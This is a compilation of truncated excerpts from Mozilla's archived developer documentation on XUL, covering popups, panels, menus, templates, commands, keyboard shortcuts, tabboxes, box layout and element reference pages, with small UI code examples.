...rogresslistener removesession removetab removetabsprogresslistener removetransientnotifications replacegroup reset rewind scrollbyindex scrollbypixels scrolltoindex select selectall selectitem selectitemrange selecttabatindex setselectionrange showpane showpopup sizeto startediting stop stopediting swapdocshells syncsessions timedselect toggleitemselection related dom element methods dom:element.addeventlistener dom:element.appendchild dom:element.comparedocumentposition dom:element.dispatchevent dom:element.getattribute dom:element.getattributenode dom:element.getattributenodens dom:element.getattributens dom:element.getelementsbytagname dom:element.getelementsbytagnamens dom:element.getfeature fixme: brokenlink d...
Namespaces - Archive of obsolete content
in addition to this document, see namespaces crash course. xml namespaces provide a way to distinguish duplicate element and attribute names. duplicates element and attribute names can occur when an xml document contains elements and attributes from two or more different xml schemas (or dtds). to quote wikipedia: "in general, a namespace is an abstract container providing context for the items ... it holds and allows disambiguation of items having the same name." if you are familiar with c++ namespaces, java packages, perl packages, or python module importing, you are already familiar with the namespace concept. an xml namespace is identified by an unique name (called a uri, not a url, even though it can look like a url). an uri is any string, although most people choose a url-based uri bec...
...://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul, it's fairly unlikely anyone would choose that accidentally. even if they did accidentally choose it, they may not define the same elements as xul anyway (e.g., <textbox/>) in their schema/dtd. any element type or attribute name in an xml namespace can be uniquely identified by its xml namespace and its "local name". together, these two items define a qualified name, or qname. for example, <xul:textbox/> uses a namespace named "xul" and a local name "textbox". this distinguishes it from, for example, <foobar:textbox/> which might occur in the same document. the xul and foobar namespaces must be defined at the top of the xml document in which they are used, like so: <foobar:some-element xmlns:xul="http://www.mozilla.org/keymaster...
MoveResize - Archive of obsolete content
move a popup to the upper left corner of the screen: popup.moveto(0, 0); the position may be shifted so as not to cover user interface elements provided by the operating system, such as the menu bar or the task bar. resizing a popup the size of a popup is determined automatically based on the content inside the popup. for instance, the size of a menu will be large enough to fit all of the items within the menu. sometimes, a menu will be larger than the available space on the screen; in this situation, the menu may be moved such that it will fit on screen. for instance, instead of appearing below the menu label, the menu popup might appear above the label. you can see this effect in a xul application by moving a window near the bottom of the screen and clicking a menu or button that has ...
...for instance, instead of appearing below the menu label, the menu popup might appear above the label. you can see this effect in a xul application by moving a window near the bottom of the screen and clicking a menu or button that has a menu. if a popup is still too large, it will be resized to fit on the screen. arrows will appear on the ends of the menu to allow a user to scroll through the items. a popup can be resized manually using the popup's sizeto method. void sizeto(in long width, in long height); here is an example which resizes a popup to be 200 pixels wide and 300 pixels high: popup.sizeto(200, 300); ...
Panels - Archive of obsolete content
owever, be changed. for more information about positioning the popup, see positioning popups. only buttons (and toolbarbuttons) have this automatic behaviour which opens the popup when pressed. for other types of elements, you need to use a different technique as in the following example. <label value="search" popup="search-panel"/> <panel id="search-panel"> <label control="search" value="terms:"/> <textbox id="search"/> </panel> to attach a panel to an non-button element, for instance to have a panel open when a label is clicked, use the popup attribute. the popup attribute should be set to the id of a panel within the same document. when the left mouse button is pressed on the element with the popup attribute, the corresponding panel will be displayed. for instance, to attach th...
...el for entering the search term. when using the popup attribute, the panel will appear with the top left corner at the mouse position. in this case, you may wish to have the popup appear below the label instead. the position attribute may be used to control the placement of the popup. here is a complete example: <panel id="search-panel" position="after_start"> <label control="search" value="terms:"/> <textbox id="search"/> </panel> <label value="search" popup="search-panel"/> the position attribute has been added to the panel element with the value 'after_start'. this causes the panel to be displayed not where the mouse was clicked but aligned along the bottom edge of the label. for more information about this attribute and other possible values that can be used, see positioning popu...
PopupKeys - Archive of obsolete content
handling keys within menus when using a menupopup element, a keyboard listener is attached to the window that will handle keypresses for the menu. this allows items within the menu to be navigated with the cursor keys. the following table lists the keys that are checked, and what the menu keyboard listener does in response: cursor up/down move the highlight within the menu up or down, wrapping around if necessary. on linux and the macintosh, disabled items within the menu are skipped over when navigating with the cursor keys. cursor left/right when a menu is selected, cursor right opens the menu, while a cursor left closes a menu. in a menubar, cursor left and right will cycle between top level menus. home/end move the highlight to the beginning or the end of the menu, selecting th...
... close the menu and fire the menuitem's command event. if a menu is selected, the menu will open. escape closes the menu. if a chain of submenus is open, only one level of menus is closed. tab/f10 closes all menus in a chain of submenus. when letter keys are pressed, the accesskeys within the menu are selected. if an access key is a pressed that does not correspond to an item within the menu, items that don't have access keys can be selected if the key pressed corresponds to the first letter of the label. other keys are ignored by the menu key listener, however, the event does not propagate to the main window. this is because the key listener is a capturing listener attached to the document. for a panel, the only key that is handled by default is the escape key to close the panel. the other...
Building Menus With Templates - Archive of obsolete content
this applies to menus on menubars, submenus, as well as menu-type buttons such as those with a type attribute set to menu. ...
...dy. you can actually do this, however, you no longer receive the performance benefit as the entire content will be generated right away. the special feature of menus to not generate content immediately applies only to the menu itself. generating a recursive menu menus are often generated from a template recursively. when creating recursive menus, you will need to use multiple rules, since leaf items will need to be created differently than non-leaf items. leaf items will need to use a menuitem element whereas non-leaf items will need to use a menu element. this will involve at least two rules, although you might use other rules if you had other differences to handle. here is an rdf example: <button label="houses in my neighbourhood" type="menu" datasources="template-guide-streets.rdf...
Multiple Queries - Archive of obsolete content
jpg) so four possible results are available, one from the first query and three from the second. however, the example shows that only content for three results are generated. what happened to the fourth result? this is where the useful aspect of multiple queries comes in. note that two of the results above are actually for the same photo (canal.jpg). the template builder removes any duplicate items before generating content. it does this by only allowing the match for the earliest query. that is, the canal.jpg generated by the second query is removed, since an earlier query (the first query) already generated a match for that result. one important distinction is that the determination of duplicates is only based on the member variable, in this case the ?photo variable. it doesn't matter whe...
...ded queries in one template, although you may prefer to use the same style in all queries for consistency. however, if you are going to be using a number of queries, the template builder is more efficient when using multiple queries using the simple query syntax. this is because all simple queries will iterate over the same data, usually the children of an rdf container. so the builder only performs this step once and filters the data for each query. when using the extended query syntax, the manner in which the graph is navigated may be different for every query, so no optimization can be done. the builder needs to process every condition of every query. if, for example, you have six queries, each with a <member> condition, the builder will need to construct the children six times. you proba...
Static Content - Archive of obsolete content
this item doesn't need to be generated from the datasource. instead it will be what is called static content in a template. the static content is any content that is a sibling of the template element. this content is displayed as is without affecting the generated content from the template. ...
... later. here is the example to try. note that the workaround of loading the datasource beforehand as mentioned for the last example isn't necessary, as the existence of the static content is another effective workaround. so, if you're using menulists with templates and the data isn't displaying properly when the data hasn't loaded, try using a static menupopup. it doesn't even need to have any items in it. the static content may be placed before or after the template, although usually you would place it first. note that the static content is always placed before the generated content, so the 'all' item will always be the first item in the menu. static content example let's look at another example, involving radio buttons. actually, this example is similar, it just uses a radiogroup instea...
Template and Tree Listeners - Archive of obsolete content
bute, which in the template builder is referred to as the root element. finally, you can remove a listener using the builder's removelistener method. listening for tree changes the second type of listener is used to handle particular actions related to trees. the tree builder implements the nsitreeview interface, so handles the gathering of data and passing it on to the tree. the tree widget informs the view when certain operations are performed that might affect the data. the tree view handles all of these operations, but allows an observer to be attached which is invoked during these operations. for instance, the observer may have an ontoggleopenstate method which will be called when the user opens or closes a row. the tree builder will handle the adding or removing of rows, but will call ...
...l you need to do is implement three methods, candropon, candropbeforeafter and ondrop. the tree observer receives drag related events in three places: over a container row, before a row, and after a row. this allows you to handle dragging with more flexibility. for example, in some situations you may want to require dragging onto a folder type of row. in other situations, you may wish to allow items to be dragged between (before or after) rows. this would be the situation if you were dragging items from that tree around, for instance dragging a bookmark from one location to another. the tree widget will draw a small line between the rows while dragging. all you need to do is add a tree builder observer which returns true for the candrop method. note that the 'drag on' case only allows draggi...
textbox (Toolkit autocomplete) - Archive of obsolete content
you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to enable the element, leave this attribute out entirely. visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state. disablekeynavigation type: boolean if this attribute is not used, the user can navigate to specific items within the element by pressing keys corresponding to letters in the item's label. this is done incrementally, so typing more letters with select more specific items. this feature may be disab...
...editable menuitem element the value of this attribute is copied to the menulist.value property upon user selection of the menuitem. maxlength type: integer the maximum number of characters that the textbox allows to be entered. maxrows type: integer the number of rows to show in the results list at a time. a scrollbar will appear so the user can scroll through the remaining items. minresultsforpopup new in thunderbird 3requires seamonkey 2.0 type: integer the minimum number of results that must be returned for the popup to be displayed. the default value is 1. new in thunderbird 3requires seamonkey 2.0 a zero value will always open the popup. this can be used to display additional items that are not autocomplete results. nomatch type: boo...
Creating toolbar buttons (Customize Toolbar Window) - Archive of obsolete content
: skin myextension classic/1.0 chrome/skin/ style chrome://global/content/customizetoolbar.xul chrome://myextension/skin/toolbar-button.css ia take note of the packaging section in this article; you may need to include .jar references if you are delivering your extension as an .xpi file. common mistakes this is a list of the most common mistakes made by extension authors, including both symptoms and solutions. problem: the whole set of default buttons is painted on the toolbar or in the customize toolbars window, instead of your own icon. caused by: malformed or not applied stylesheet. solution: check to be sure your stylesheet is correct, make sure your contents.rdf (or chrome.manifest) is correct, and be sure you didn't forget to apply the stylesheet to customizetoolbar.xul. a list...
... chrome://browser/content/browser.xul firefox - main window browsertoolbarpalette chrome://navigator/content/navigator.xul seamonkey 2.0 - browser window browsertoolbarpalette chrome://messenger/content/messenger.xul thunderbird - main window mailtoolbarpalette chrome://messenger/content/messenger...gercompose.xul thunderbird - compose window msgcomposetoolbarpalette chrome://messenger/content/addressbo...ddressbook.xul thunderbird - address book addressbooktoolbarpalette chrome://editor/content/editor.xul kompozer - main window nvutoolbarpalette chrome://calendar/content/calendar.xul sunbird - main window calendartoolbarpalette more information xulplanet.com references: <toolbarbutt...
Complete - Archive of obsolete content
d states (us). to make it eaiser to support different locales, developers usually place anything that might depend on the locale in separate files in a separate directory. in the custom toolbar button extension, the only things that might depend on the locale are the text strings displayed in the user interface. these are in the files button.xul and button.js. xul and javascript each have mechanisms for loading text strings from the correct locale directory. this extension only uses the xul method. its javascript code gets the text strings it needs from the xul. for more information about working with locales, see the main localization page here. how a text sting gets localized when you press button 1 you see an message in english or french, depending on your application's locale. this is ho...
... contents.rdf contains registration data used by seamonkey. testing a theme to test a theme in seamonkey, choose view – apply theme, then choose the theme. restart seamonkey. application differences some differences between firefox etc. and seamonkey cause complications for this extension. to resolve the differences, the extension uses firefox etc. and seamonkey's different registration mechanisms to register different files where this is needed. toolbar conflicts there are some conflicts between toolbars in firefox etc. and toolbars in seamonkey. to avoid these conflicts, this extension uses a separate xul file for seamonkey. firefox etc. use: content/allcustom/allcustom.xul this file is specified in chrome.manifest, which only firefox etc. use. seamonkey uses: content/allcustom/seamonkey...
Box Model Details - Archive of obsolete content
we've added them to buttons and textboxes, but we can also add them to spacers or boxes. in addition, the flex attribute can be applied to any element. example 1 : source view <hbox flex="1"> <button label="left" style="min-width: 100px;" flex="1"/> <spacer flex="1"/> <button label="right" style="min-width: 100px;" flex="1"/> </hbox> in the example above, all three elements will resize themselves as they are all flexible. the two buttons indicate a minimum width of 100 pixels. the buttons will never be smaller than this size but they may grow larger. here the window should appear just over 200 pixels wide. that's enough for the two buttons. because all three elements are flexible, but they don't need any more room, the flexibility adds no extra space. as shown in the image, there...
...t" style="min-width: 100px;" flex="1"/> <spacer flex="1"/> <button label="right" style="min-width: 100px;" flex="1"/> </hbox> summary of the box model to achieve complicated layouts, you will generally need to add nested boxes, specify minimum and maximum sizes on some elements, and make certain elements flexible. the best interface is one that can be displayed at various sizes without problems. the box model may be difficult to understand without trying various various things out for yourself. the following is an outline of both types of boxes: horizontal boxes lay out their elements next to each other horizontally. flexible elements are flexed horizontally. packing controls their horizontal placement of child elements. alignment controls how the row of elements are aligned ve...
Box Objects - Archive of obsolete content
higher but after one with ordinal 1. the default value if the ordinal is not specified is 1. this means that if you want to change the displayed order of elements, you will often need to adjust the ordinals of several elements. adjusting the ordinal of an element is not commonly done as you would usually just place the elements in a different order in the source. it might be used to rearrange items later without adjusting the dom. the following example demonstrates this. example 4 : source view <hbox> <button label="one" oncommand="this.ordinal++;"/> <button label="two" oncommand="this.ordinal++;"/> <button label="three" oncommand="this.ordinal++;"/> </hbox> if you press the first button, its ordinal will increase by one, from 1 to 2. it will appear at the end of the row since the ot...
....ordinal++;"/> <button label="two" oncommand="this.ordinal++;"/> <button label="three" oncommand="this.ordinal++;"/> </hbox> if you press the first button, its ordinal will increase by one, from 1 to 2. it will appear at the end of the row since the other buttons have an ordinal of 1. if you press the second button, its ordinal will increase by one and will be moved to the end of the row. items with the same ordinal value appear in the same order as in the source. if you then press the button labeled one again, its ordinal will increase to 3 and will move to the end. finally, pressing the button labeled three will increase its ordinal to 2 and it will appear in between the other two buttons. dir attribute the final box ordering attribute is the dir attribute, or the -moz-box-direction c...
Broadcasters and Observers - Archive of obsolete content
d any back commands on popup menus. although we could write a script to do this, it is quite tedious. it also has the disadvantage that we would need to know all of the places where a back action could be. if someone added a new back button using an extension, it wouldn't be handled. it is convenient to simply disable the back action and have all the elements that issue the back action disable themselves. we can use the attribute forwarding of commands to accomplish this. broadcasters there is a similar element called a broadcaster. broadcasters support attribute forwarding in the same way that commands do. they work the same as commands except that a command is used for actions, while a broadcaster is instead used for holding state information. for example, a command would be used for an ...
...forwarding in the same way that commands do. they work the same as commands except that a command is used for actions, while a broadcaster is instead used for holding state information. for example, a command would be used for an action such as back, cut or delete. a broadcaster would be used to hold, for instance, a flag to indicate whether the user was online or not. in the former case, menu items and toolbar buttons would need to be disabled when there was no page to go back to, or no text to cut or delete. in the latter case, various user interface elements might need to update when the user switches from offline mode to online mode. the simplest broadcaster is shown below. you should always use an id attribute so that it can be referred to by other elements. <broadcasterset> <broadc...
Commands - Archive of obsolete content
ave a menu item, a toolbar button and a keyboard shortcut all for the same operation. rather than repeat the code three times, you can hook all three up to the same command. normally, you would only hook up elements that would send a command event. additionally, if you set the disabled attribute on the command, the command will be disabled and it will not be invoked. any buttons and menu items hooked up to it will be disabled automatically. if you re-enable the command, the buttons will become enabled again. example: toggling command disabled example 2 : source view <command id="cmd_openhelp" oncommand="alert('help');"/> <button label="help" command="cmd_openhelp"/> <button label="more help" command="cmd_openhelp"/> <button label="disable" oncommand="document.getelementby...
...xample: controller implementation let's assume that we want to implement a listbox that handles the delete command. when the user selects delete from the menu, the listbox deletes the selected row. in this case, you just need to attach a controller to a listbox which will perform the action in its docommand method. try opening the example below (source view) in a browser window and selecting items from the list. you'll notice that the delete command on the browser's edit menu is enabled and that selecting it will delete a row. (see discussion about opening this example). the example below isn't completely polished. really, we should ensure that the selection and focus is adjusted appropriately after a deletion. <window id="controller-example" title="controller example" onload="init();" ...
Cross Package Overlays - Archive of obsolete content
the examples in the previous section, the overlays were imported by the window. you can also go the other way and have the overlays specify which windows that they apply to. you specify this by modifying the contents.rdf file for your package. this is useful because the overlay can modify the user interface of another package without changing the other package. for example, you could add menu items or toolbars to the mozilla browser window. we'll use this feature to add a toolbar to the mozilla browser window. the mozilla mail application uses overlays to add content to the browser window. for example, if mail is not installed, there will be no new message command. however, if mail is installed, an overlay will be applied to the menu to add the new message command. below, we'll add a find f...
...be applied to the menu to add the new message command. below, we'll add a find files toolbar to the browser. it probably wouldn't be useful to have this feature, but we'll do it anyway. mozilla allows you to add a list of overlays to the contents.rdf file that you use to list chrome packages, skins and locales. once you have created an overlay, you can add it to the contents.rdf file. then add items, one for each window that you want the overlay to apply to. our find files example first, let's create a simple overlay. it will just have a few elements for entering a filename and directory to search. call the file foverlay.xul and add it to the findfile directory along with findfile.xul. our foverlay.xul example source <?xml version="1.0"?> <overlay xmlns="http://www.mozilla.or...
Input Controls - Archive of obsolete content
text entry fields html has an input element which can be used for text entry controls. xul has a similar element, textbox, used for text entry fields. without any attributes, the textbox element creates a box in which the user can enter text. textboxes accept many of the same attributes as html input controls. the following are some of them: id a unique identifier so that you can identify the textbox. class the style class of the textbox. ...
...e letter specified is usually drawn underlined in the label. to view xul, you need e.g. seamonkey or waterfox and remote-xul-manager from https://github.com/jvillalobos/remote-xul-manager find files example so far : source view in the next section, we will look at some elements for entering and selecting numbers. « previousnext » looking for a guide to using input controls and forms on the web? see forms in html. ...
Keyboard Shortcuts - Archive of obsolete content
he clipboard (such as control + c). this will work as long as the window is open. the docopy function should check to see if text is selected and then copy the text to the clipboard. note that textboxes have the clipboard shortcuts built-in so you don't have to implement them yourself. assigning a keyboard shortcut on a menu the second way is: if you are assigning a keyboard shortcut that performs a command that also exists on a menu, you can associate the key element directly with the menu command. to do this, also add a key attribute on the menuitem. set its value to the id of the key that you want to use. the example below demonstrates this. example 2 : source view <keyset> <key id="paste-key" modifiers="accel" key="v" oncommand="alert('paste invoked')"/> </keyset> <men...
... <menupopup id="edit-popup"> <menuitem id="paste-command" accesskey="p" key="paste-key" label="paste" oncommand="alert('paste invoked')"/> </menupopup> </menu> </menubar> the menuitem's key attribute, which here is paste-key is equal to the id of the defined key. you can use this for additional keys as well to define keyboard shortcuts for any number of menu items. you'll also notice in the image that text has been placed next to the paste menu command to indicate that ctrl and the v key can be pressed to invoke the menu command. this is added for you based on the modifiers on the key element. keyboard shortcuts attached to menus will work even if the menu is not open. one additional feature of key definitions is that you can disable them easily. to do t...
Scrolling Menus - Archive of obsolete content
if the available space is too small, arrows will appear on each end of the menu. if you move the mouse over the arrows, the menu will scroll up and down. ...
... if the available space is too small, arrows will appear on each end of the menu. if you move the mouse over the arrows, the menu will scroll up and down. ...
Tabboxes - Archive of obsolete content
bs appears across the top of a window. the user can click each tab to see a different set of options. it is useful in cases when you have more options than will fit in one screen. xul provides a method to create such dialogs. it involves five new elements, which are described briefly here and in more detail below. tabbox the outer box that contains the tabs along the top and the tab pages themselves. tabs the inner box that contains the individual tabs. in other words, this is the row of tabs. tab a specific tab. clicking on the tab brings the tab page to the front. tabpanels the container for the pages. tabpanel the body of a single page. you would place the content for a page within this element. the first tabpanel corresponds to the first tab, the second tabpanel corresponds ...
...currently selected tab to make it look selected. only one tab will have a true value for this attribute at a time. position of the tabs finally, you can change the position of the tabs so that they appear on any side of the tab pages. there is no special syntax to do this. you simply set the orient and dir attributes as necessary. remember that the tab elements are much like regular boxes in terms of layout. moreover, the tabbox element is much like a regular container box with a default vertical orientation, whereas the tabs element is much like a container box with a default horizontal orientation. for example, to place the tabs along the left side, change the orientation of the tabs element to vertical to make the tabs appear vertically stacked. next, adjust the tabbox so it has horizo...
Templates - Archive of obsolete content
tion, we'll find out how to populate elements with data. populating elements xul provides a method in which we create elements from data supplied by rdf, either from an rdf file or from an internal datasource. numerous datasources are provided with mozilla such as bookmarks, history and mail messages. more details on these will be provided in the later section. usually, elements such as treeitems and menuitems will be populated with data. however, you can use other elements if you want although they are more useful for specialized cases. nevertheless, we'll start with these other elements because trees and menus require more code. to allow the creation of elements based on rdf data, you need to provide a simple template which will be duplicated for each element that is created. essential...
...element for every cell would be too costly. however, the tradeoff is that trees may only display text, and, since no elements are created, you can't use css properties to style tree cells in the same way. the tree builder is only used for trees. other elements use only the content builder. this isn't a problem though, since other elements such as menus wouldn't be expected to display too many items. it's also possible to use the content builder for trees as well, and a treeitem element and related elements will be created for each row. rules in the image of the earlier example, you may have noticed that the third button is simply a button with hyphens on it. this is a separator in the bookmark list. in the way that we have been using it, the rdf bookmarks datasource supplies the separator...
XPCOM Examples - Archive of obsolete content
that have been saved in the browser. the cookie service can be used for such a purpose. it implements the nsicookiemanager interface which can be used to enumerate over all of the cookies. here is an example which populates a menu list with the names of all of the cookies set from mozillazine. ...
...ost == "www.mozillazine.org") menu.appenditem(cookie.name,cookie.value); } } } </script> <hbox> <menulist id="cookiemenu" onpopupshowing="getcookies();"/> </hbox> the getcookies() function will be called whenever the menu is opened, as indicated by the onpopupshowing attribute on the menulist. the first two lines of getcookies() get the menulist and remove all of the existing items in the menu. this is done because getcookies() is called every time the menu is opened and we don't want to leave the old items there each time. next, the cookie manager is retrieved. the cookie manager has an enumerator method which returns an object which implements nsisimpleenumerator. this can be used to iterate over all of the cookies. an enumerator has a hasmoreelements() method which will ...
Using spell checking in XUL - Archive of obsolete content
checking the spelling of a word to check the spelling of a word, you must first create an interface to the mozispellcheckingengine component and then call the check() method on the string you wish to test. ...
... checking the spelling of a word to check the spelling of a word, you must first create an interface to the mozispellcheckingengine component and then call the check() method on the string you wish to test. ...
Accessibility/XUL Accessibility Reference - Archive of obsolete content
col/> <listcol/> </listcols> <listhead> <listheader label="name" /> <listheader label="sex" /> <listheader label="color" /> </listhead> <listitem> <label value="<!--pearl-->" /> <label value="<!--female-->" /> <label value="<!--gray-->" /> </listitem> </listbox> i don't seem to be able to find a straightforward way to read the header labels in jaws. ...
...these functions must be replicated elsewhere (like in the main menu, e.g. the manage bookmarks window in firefox 2 or the places window in firefox 3). jaws 7.10 can not read the column headers. the main tree is accessible like a regular tree control. firefox exposes the position, cardinality, and depth of each tree item through the accessible descripti...
arrowscrollbox - Archive of obsolete content
you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to enable the element, leave this attribute out entirely. visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state. smoothscroll type: boolean true initially enables smooth scrolling for the corresponding arrowscrollbox, false disables it. currently, smooth scrolling supports horizontal arrowscrollboxes only. tabindex type: integer the tab order of the element. the tab order is the o...
...oll attribute and then to the toolkit.scrollbox.smoothscroll preference. currently, smooth scrolling supports horizontal arrowscrollboxes only. tabindex type: integer gets and sets the value of the tabindex attribute. methods ensureelementisvisible( element ) return type: no return value if the specified element is not currently visible to the user, the displayed items are scrolled so that it is. if the item is already visible, no scrolling occurs. scrollbyindex( lines ) return type: no return value scrolls the contents of the arrowscrollbox by a certain number of lines. a line is a single element. use a positive value as the lines argument to scroll forward that many lines, or a negative value to scroll backward that many lines. ...
browser - Archive of obsolete content
n this function is called when links are dropped to the browser element, with the following arguments. droppedlinkhandler(event, uri, name) -- firefox 51 or older droppedlinkhandler(event, links) -- firefox 52 or newer event -- drop event, or null if no event is available uri -- uri string of the dropped link name -- name string of the dropped link links -- array of the dropped items with nsidroppedlinkitem interface homepage type: url this attribute allows you to set a homepage for the browser element. it does not have any correlation with the user's browser homepage; instead it is a convenient property to hold a home page. you can switch to this home page using the gohome method. showcaret type: boolean whether or not to cause a typing caret to be visib...
...owser is not allowed to access the chrome above it. this is the preferred value for any browser element in an application, which will use multiple browsers of equal privileges, and is unselected at the moment. chrome (default behaviour): a browser, intended to be used for loading privileged content using a chrome:// uri. don't use for content from web, as this may cause serious security problems! properties accessibletype type: integer a value indicating the type of accessibility object for the element. cangoback type: boolean this read-only property is true if there is a page to go back to in the session history and the back button should be enabled. cangoforward type: boolean this read-only property is true if there is ...
command - Archive of obsolete content
can be used to invoke an operation that can come from multiple sources. for example, a clipboard paste operation can be invoked from the edit menu, a context menu and by pressing a keyboard shortcut. you attach the code to the command using the oncommand attribute. it will be called no matter how it is invoked by the user. in addition, disabling the command will automatically disable the menu items and keyboard shortcuts. commands are identified by their id. if you include the script chrome://global/content/globaloverlay.js in your window, you can use the function godocommand function to invoke the command. using this function has the advantage that the command will be sent to the part of the ui which will respond to it. typically, this will be the currently focused element. like a broadc...
... you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to enable the element, leave this attribute out entirely. visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state. label type: string the label that will appear on the element. if this is left out, no text appears. for an editable menuitem element the value of this attribute is copied to the menulist.value property upon user selection of the menuitem. oncommand type: script code this event handler is...
commandset - Archive of obsolete content
more information is available in the xul tutorial. ...
...spatcher. focus: occurs when the focused element changes. select: occurs when the selected text changed. clipboard: occurs when the clipboard is changed. undo: occurs when the undo buffer is changed. oncommandupdate type: script code this event occurs when a command update occurs. you would use this to update the disabled status of items. targets type: comma-separated list of element ids a comma-separated list of element ids that the command updater will update upon. if this attribute is not specified, or you set it to the value '*', all elements are valid. the command update will only occur when the event occurs to one of the specified elements. properties inherited properties align, , alloweve...
key - Archive of obsolete content
Archive › Mozilla › XUL › key
you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to enable the element, leave this attribute out entirely. visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state. key type: character the character that must be pressed. this should be set to a displayable character. keycode type: string key code for keys that do not have displayable characters, such as the enter key or function keys, use this attribute instead of the key attribute. valid keys are l...
...ring a label for the keyboard shortcut. this text would appear next to a menuitem label if that menuitem is associated with the key element via its key attribute. modifiers type: space-separated list of the values below a list of modifier keys that should be pressed to invoke the keyboard shortcut. multiple keys may be separated by spaces or commas. keys will map to other keys on platforms that do not have them. shift: the shift key. alt: the alt key. on the macintosh, this is the option key. on macintosh this can only be used in conjunction with another modifier, since alt+letter combinations are reserved for entering special characters in text. meta: the meta key. on the macintosh, this is the command key. control: the control key. os: windows logo key on windows, super o...
menupopup - Archive of obsolete content
le shows how a menupopup can be used as a context menu for an element. when the label is right-clicked, the menu will be displayed. <menupopup id="clipmenu"> <menuitem label="cut"/> <menuitem label="copy"/> <menuitem label="paste"/> </menupopup> <label value="right click for popup" context="clipmenu"/> attributes ignorekeys type: boolean if true, keyboard navigation between items in the popup is disabled. left type: integer overrides the horizontal position of the popup specified by the showpopup method. onpopuphidden type: script code this event is sent to a popup after it has been hidden. this event may also be received while the popup is still open, but when sub-menus contained within this popup are hidden. example: <menupopup id="top" onpopup...
...lative to the viewport of the document containing the popup node. in this case, the position and attributesoverride arguments are ignored. iscontextmenu the iscontextmenu argument should be true for context menus and false for all other types of popups. it affects menu item highlighting; that is, while a context menu is open, menus opened earlier do not highlight or execute their items. attributesoverride if the attributesoverride argument is true, the position attribute on the popup node overrides the position value argument. if attributesoverride is false, the attribute is only used if the position argument is empty. triggerevent the event that triggered the popup (such as a mouse click, if the user clicked something to open the popup). op...
menuseparator - Archive of obsolete content
typically drawn as a thin line. more information is available in the xul tutorial. ...
... you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to enable the element, leave this attribute out entirely. visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state. image type: uri the uri of the image to appear on the element. if this attribute is empty or left out, no image appears. the position of the image is determined by the dir and orient attributes. label type: string the label that will appear on the element. if this is left out, no te...
panel - Archive of obsolete content
Archive › Mozilla › XUL › panel
pressed, the panel will be displayed. a panel may also be opened via a script using the openpopup method. the panel is closed when the user clicks outside the panel, presses escape or when the panel's hidepopup method is called. warning: for firefox versions between 3.6 and 4.0, placing an iframe, browser or editor inside a panel is not supported. some features may work, but only on some platforms. for those versions of firefox, it is best to avoid child frames in a panel, if possible. this limitation was resolved as of firefox 4.0. attributes backdrag, close, consumeoutsideclicks, fade, flip, ignorekeys, label, left, level, noautofocus, noautohide, norestorefocus, onpopuphidden, onpopuphiding, onpopupshowing, onpopupshown, position, titlebar, top, type properties accessibletype,...
...lative to the viewport of the document containing the popup node. in this case, the position and attributesoverride arguments are ignored. iscontextmenu the iscontextmenu argument should be true for context menus and false for all other types of popups. it affects menu item highlighting; that is, while a context menu is open, menus opened earlier do not highlight or execute their items. attributesoverride if the attributesoverride argument is true, the position attribute on the popup node overrides the position value argument. if attributesoverride is false, the attribute is only used if the position argument is empty. triggerevent the event that triggered the popup (such as a mouse click, if the user clicked something to open the popup). op...
resizer - Archive of obsolete content
dth="16" height="16"/> <resizer dir="bottomright" style="background: black; -moz-appearance: none;" element="button" right="0" bottom="0" width="16" height="16"/> </stack> attributes dir type: one of the values below the direction that the window is resized. left resized to the left. right resized to the right. top resized up. bottom resized down. bottomstart resized down and toward the start of the line (toward the left for left-to-right locales, toward the right for right-to-left locales). bottomend resized down and toward the end of the line (toward the right for left-to-right locales, toward the left for right-to-left locales). bottomleft resized down and to the left. bottomright resized down and to the right. topleft res...
... bottomright resized down and to the right. topleft resized up and to the left. topright resized up and to the right. element type: element to resize the id of the element that should be resized by the resizer. typetype: stringset this to the value "window" for a resizing grip that appears in the bottom corner of the window, used for resizing the window. as some platforms provide this resizing grip automatically, this type of resizer element will be hidden and ensure that the window does not get an extra resizer. inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbef...
separator - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] creates a small separating gap between elements. this type of separator should be used to separate parts of a dialog. it doesn't draw a bar visually, but is just a small space. it is functionally equivalent to a spacer except it defaults to a small size (usually 1.5 ems). attributes orient style classes groove, groove-thin, thin examples <separator class="groove-thin"/> attributes orient type: one of the values below used to specify whether the separator is a horizontal or vertical separator. note that the values are the reverse of what seems more likely. horizontal the separator separates vertically placed elements. vertical the separator separates horizonta...
...ttributenodens(), setattributens(), setuserdata style classes the following classes may be used to style the element. these classes should be used instead of changing the style of the element directly since they will fit more naturally with the user's selected theme. groove a grooved separator. groove-thin a thin grooved separator. thin a thinner separator, which is usually 0.5 ems. related elements spacer, splitter, menuseparator, toolbarseparator, treeseparator. ...
tabbrowser - Archive of obsolete content
ill be the newly selected tab. and if null or not specified, this parameter will default to the browser.tabs.loadinbackground preference. firefox 3.6 note the second form of this method was added in firefox 3.6; it adds the relatedtocurrent parameter, and allows the parameters to be specified by name, in any order. ...
